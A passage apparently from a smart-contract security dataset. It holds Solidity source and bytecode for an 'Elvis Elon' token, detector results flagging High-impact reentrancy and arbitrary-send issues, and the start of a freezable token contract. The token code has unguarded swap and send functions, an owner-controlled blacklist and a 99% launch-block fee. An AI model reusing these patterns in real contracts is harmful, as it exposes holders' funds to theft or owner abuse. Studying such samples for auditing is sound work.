function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ElvisElon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxTxAmount = _tTotal;
uint256 private openBlock;
uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens
uint256 private _maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Elvis Elon";
string private constant _symbol = "ELVISELON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) {
_feeAddrWallet1 = addr1;
_feeAddrWallet2 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[addr4] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[addr5] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(
address(0),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 12;
if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Not over max tx amount
require(amount <= _maxTxAmount, "Over max transaction amount.");
// Cooldown
require(cooldown[to] < block.timestamp, "Cooldown enforced.");
// Max wallet
require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount.");
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 1;
_feeAddr2 = 12;
}
if (openBlock + 3 >= block.number && from == uniswapV2Pair) {
_feeAddr1 = 1;
_feeAddr2 = 99;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
// Only if it's not from or to owner or from contract address.
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquifyEnabled(bool enabled) public onlyOwner {
inSwap = enabled;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function setMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount * 10**9;
}
function whitelist(address payable adr1) external onlyOwner {
_isExcludedFromFee[adr1] = true;
}
function unwhitelist(address payable adr2) external onlyOwner {
_isExcludedFromFee[adr2] = false;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
// .5%
_maxTxAmount = 2000000000000 * 10**9;
_maxWalletAmount = 4000000000000 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setSwapTokens(uint256 swaptokens) public onlyOwner {
_swapTokensAtAmount = swaptokens;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103ae578063dd62ed3e146103c3578063e98391ff14610409578063ec28438a14610429578063f429389014610449578063ffecf5161461045e57600080fd5b80638da5cb5b146102d457806395d89b41146102fc5780639a5904271461032e5780639b19251a1461034e578063a9059cbb1461036e578063bf6642e71461038e57600080fd5b806327a14fc21161010857806327a14fc21461022e578063313ce5671461024e57806351bc3c851461026a5780635932ead11461027f57806370a082311461029f578063715018a6146102bf57600080fd5b806306fdde0314610150578063095ea7b31461019557806318160ddd146101c557806323b872dd146101ec578063273123b71461020c57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600a81526922b63b34b99022b637b760b11b60208201525b60405161018c9190611ab5565b60405180910390f35b3480156101a157600080fd5b506101b56101b0366004611a08565b61047e565b604051901515815260200161018c565b3480156101d157600080fd5b5069152d02c7e14af68000005b60405190815260200161018c565b3480156101f857600080fd5b506101b56102073660046119c7565b610495565b34801561021857600080fd5b5061022c610227366004611954565b6104fe565b005b34801561023a57600080fd5b5061022c610249366004611a6e565b610552565b34801561025a57600080fd5b506040516009815260200161018c565b34801561027657600080fd5b5061022c610590565b34801561028b57600080fd5b5061022c61029a366004611a34565b6105a9565b3480156102ab57600080fd5b506101de6102ba366004611954565b6105f1565b3480156102cb57600080fd5b5061022c610613565b3480156102e057600080fd5b506000546040516001600160a01b03909116815260200161018c565b34801561030857600080fd5b5060408051808201909152600981526822a62b24a9a2a627a760b91b602082015261017f565b34801561033a57600080fd5b5061022c610349366004611954565b610687565b34801561035a57600080fd5b5061022c610369366004611954565b6106d2565b34801561037a57600080fd5b506101b5610389366004611a08565b610720565b34801561039a57600080fd5b5061022c6103a9366004611a6e565b61072d565b3480156103ba57600080fd5b5061022c61075c565b3480156103cf57600080fd5b506101de6103de36600461198e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041557600080fd5b5061022c610424366004611a34565b610b36565b34801561043557600080fd5b5061022c610444366004611a6e565b610b7e565b34801561045557600080fd5b5061022c610bbc565b34801561046a57600080fd5b5061022c610479366004611954565b610bc6565b600061048b338484610c14565b5060015b92915050565b60006104a2848484610d38565b6104f484336104ef85604051806060016040528060288152602001611c70602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061121f565b610c14565b5060019392505050565b6000546001600160a01b031633146105315760405162461bcd60e51b815260040161052890611b0a565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057c5760405162461bcd60e51b815260040161052890611b0a565b61058a81633b9aca00611bea565b600d5550565b600061059b306105f1565b90506105a681611259565b50565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161052890611b0a565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461048f906113e2565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161052890611b0a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b15760405162461bcd60e51b815260040161052890611b0a565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106fc5760405162461bcd60e51b815260040161052890611b0a565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600061048b338484610d38565b6000546001600160a01b031633146107575760405162461bcd60e51b815260040161052890611b0a565b600c55565b6000546001600160a01b031633146107865760405162461bcd60e51b815260040161052890611b0a565b601354600160a01b900460ff16156107e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610528565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081e308269152d02c7e14af6800000610c14565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085757600080fd5b505afa15801561086b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088f9190611971565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d757600080fd5b505afa1580156108eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090f9190611971565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095757600080fd5b505af115801561096b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098f9190611971565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109bf816105f1565b6000806109d46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a709190611a87565b505060138054686c6b935b8bbd400000600a5568d8d726b7177a800000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afa57600080fd5b505af1158015610b0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b329190611a51565b5050565b6000546001600160a01b03163314610b605760405162461bcd60e51b815260040161052890611b0a565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610ba85760405162461bcd60e51b815260040161052890611b0a565b610bb681633b9aca00611bea565b600a5550565b476105a681611466565b6000546001600160a01b03163314610bf05760405162461bcd60e51b815260040161052890611b0a565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610528565b6001600160a01b038216610cd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610528565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610528565b6001600160a01b038216610dfe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610528565b60008111610e605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610528565b6001600e55600c600f556000546001600160a01b03848116911614801590610e9657506000546001600160a01b03838116911614155b8015610eab57506001600160a01b0383163014155b8015610ed057506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef557506001600160a01b03821660009081526005602052604090205460ff16155b15611204576001600160a01b03831660009081526006602052604090205460ff16158015610f3c57506001600160a01b03821660009081526006602052604090205460ff16155b610f4557600080fd5b6013546001600160a01b038481169116148015610f7057506012546001600160a01b03838116911614155b8015610f9557506001600160a01b03821660009081526005602052604090205460ff16155b8015610faa5750601354600160b81b900460ff165b156110e757600a548111156110015760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610528565b6001600160a01b038216600090815260076020526040902054421161105d5760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610528565b600d548161106a846105f1565b6110749190611bb0565b11156110c25760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610528565b6110cd42601e611bb0565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111257506012546001600160a01b03848116911614155b801561113757506001600160a01b03831660009081526005602052604090205460ff16155b15611147576001600e55600c600f555b43600b5460036111579190611bb0565b1015801561117257506013546001600160a01b038481169116145b15611182576001600e556063600f555b600061118d306105f1565b600c54909150811080159081906111ae5750601354600160a81b900460ff16155b80156111c857506013546001600160a01b03868116911614155b80156111dd5750601354600160b01b900460ff165b156111fd576111eb82611259565b4780156111fb576111fb47611466565b505b505061120f565b6000600e819055600f555b61121a8383836114eb565b505050565b600081848411156112435760405162461bcd60e51b81526004016105289190611ab5565b5060006112508486611c09565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a1576112a1611c36565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112f557600080fd5b505afa158015611309573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132d9190611971565b8160018151811061134057611340611c36565b6001600160a01b0392831660209182029290920101526012546113669130911684610c14565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139f908590600090869030904290600401611b3f565b600060405180830381600087803b1580156113b957600080fd5b505af11580156113cd573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114495760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610528565b60006114536114f6565b905061145f8382611519565b9392505050565b6010546001600160a01b03166108fc611480836002611519565b6040518115909202916000818181858888f193505050501580156114a8573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114c3836002611519565b6040518115909202916000818181858888f19350505050158015610b32573d6000803e3d6000fd5b61121a83838361155b565b6000806000611503611652565b90925090506115128282611519565b9250505090565b600061145f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611696565b60008060008060008061156d876116c4565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061159f9087611721565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ce9086611763565b6001600160a01b0389166000908152600260205260409020556115f0816117c2565b6115fa848361180c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163f91815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af680000061166f8282611519565b82101561168d5750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116b75760405162461bcd60e51b81526004016105289190611ab5565b5060006112508486611bc8565b60008060008060008060008060006116e18a600e54600f54611830565b92509250925060006116f16114f6565b905060008060006117048e878787611885565b919e509c509a509598509396509194505050505091939550919395565b600061145f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121f565b6000806117708385611bb0565b90508381101561145f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610528565b60006117cc6114f6565b905060006117da83836118d5565b306000908152600260205260409020549091506117f79082611763565b30600090815260026020526040902055505050565b6008546118199083611721565b6008556009546118299082611763565b6009555050565b600080808061184a606461184489896118d5565b90611519565b9050600061185d60646118448a896118d5565b905060006118758261186f8b86611721565b90611721565b9992985090965090945050505050565b600080808061189488866118d5565b905060006118a288876118d5565b905060006118b088886118d5565b905060006118c28261186f8686611721565b939b939a50919850919650505050505050565b6000826118e45750600061048f565b60006118f08385611bea565b9050826118fd8583611bc8565b1461145f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610528565b60006020828403121561196657600080fd5b813561145f81611c4c565b60006020828403121561198357600080fd5b815161145f81611c4c565b600080604083850312156119a157600080fd5b82356119ac81611c4c565b915060208301356119bc81611c4c565b809150509250929050565b6000806000606084860312156119dc57600080fd5b83356119e781611c4c565b925060208401356119f781611c4c565b929592945050506040919091013590565b60008060408385031215611a1b57600080fd5b8235611a2681611c4c565b946020939093013593505050565b600060208284031215611a4657600080fd5b813561145f81611c61565b600060208284031215611a6357600080fd5b815161145f81611c61565b600060208284031215611a8057600080fd5b5035919050565b600080600060608486031215611a9c57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611ae257858101830151858201604001528201611ac6565b81811115611af4576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b8f5784516001600160a01b031683529383019391830191600101611b6a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bc357611bc3611c20565b500190565b600082611be557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c0457611c04611c20565b500290565b600082821015611c1b57611c1b611c20565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146105a657600080fd5b80151581146105a657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7653b7be94adef66fa45c3cc49ba68469667429a4078b6f122ca7596b65cf5d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,745 |
0x226a1f1460099321207c15931e6d6ce25e7c2832
|
pragma solidity ^0.4.19;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/Administrable.sol
contract Administrable is Ownable {
mapping (address => bool) private administrators;
uint256 public administratorsLength = 0;
/**
* @dev Throws if called by any account other than the owner or administrator.
*/
modifier onlyAdministratorOrOwner() {
require(msg.sender == owner || administrators[msg.sender]);
_;
}
function addAdministrator(address _wallet) onlyOwner public {
require(!administrators[_wallet]);
require(_wallet != address(0) && _wallet != owner);
administrators[_wallet] = true;
administratorsLength++;
}
function removeAdministrator(address _wallet) onlyOwner public {
require(_wallet != address(0));
require(administrators[_wallet]);
administrators[_wallet] = false;
administratorsLength--;
}
function isAdministrator(address _wallet) public constant returns (bool) {
return administrators[_wallet];
}
}
// File: contracts/FreezableToken.sol
/**
* @title Freezable Token
* @dev Token that can be freezed for chosen token holder.
*/
contract FreezableToken is Administrable {
mapping (address => bool) public frozenList;
event FrozenFunds(address indexed wallet, bool frozen);
/**
* @dev Owner can freeze the token balance for chosen token holder.
* @param _wallet The address of token holder whose tokens to be frozen.
*/
function freezeAccount(address _wallet) onlyAdministratorOrOwner public {
require(_wallet != address(0));
frozenList[_wallet] = true;
FrozenFunds(_wallet, true);
}
/**
* @dev Owner can unfreeze the token balance for chosen token holder.
* @param _wallet The address of token holder whose tokens to be unfrozen.
*/
function unfreezeAccount(address _wallet) onlyAdministratorOrOwner public {
require(_wallet != address(0));
frozenList[_wallet] = false;
FrozenFunds(_wallet, false);
}
/**
* @dev Check the specified token holder whether his/her token balance is frozen.
* @param _wallet The address of token holder to check.
*/
function isFrozen(address _wallet) constant public returns (bool) {
return frozenList[_wallet];
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
